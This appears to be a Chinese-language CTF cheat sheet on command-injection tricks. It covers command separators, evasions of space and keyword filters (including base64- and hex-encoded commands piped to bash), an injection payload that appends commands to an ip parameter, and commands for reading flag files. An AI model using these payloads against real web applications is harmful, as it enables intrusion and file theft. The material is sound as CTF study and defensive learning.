命令执行tricks

0x 01 命令联合执行

常用的命令分隔符:

  • ;
  • &&
  • ||
  • %0a
  • %0d
  • | (管道符)

0x 02 bypass技巧

空格过滤

  • $IFS
  • ${IFS}
  • $IFS$9
  • <
  • <>
  • {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
  • %20
  • %09

关键字黑名单绕过

  • ca\t flag\g.php 反斜线绕过

  • cat fl”ag.php 两个单引号绕过

  • echo “Y2F0IGZsYWcucGhw” | base64 -d | bash base64编码绕过(引号可以去掉)

  • echo “63617420666C61672E706870” | xxd -r -p | bash hex编码绕过(引号可以去掉)

  • cat fl[a]g.php 用[]匹配

  • cat fla* 用*匹配任意

  • 内联执行

    所谓内联执行,就是将反引号内命令的输出作为另一个命令的输入

    1
    ?ip=127.0.0.1;cat$IFS$9`ls`

0x 03 查看文件内容的常见命令

参考这篇文章:https://blog.csdn.net/x7418520/article/details/81064861

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cat     由第一行开始显示内容,并将所有内容输出

tac 从最后一行倒序显示内容,并将所有内容输出

more 根据窗口大小,一页一页的现实文件内容

less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head 只显示头几行

tail 只显示最后几行

nl 类似于cat -n,显示时输出行号

tailf 类似于tail -f
cut -b 1 flag //-b 可以逐位读取。
a=`expr substr $PATH 1 1`;b=fla;c=g.php;d=ca;e=t;$d$e ..$a$b$c;
// 利用环境变量来获取/: expr substr $PATH 1 1 =>/

参考资料:

https://www.gem-love.com/ctf/1799.html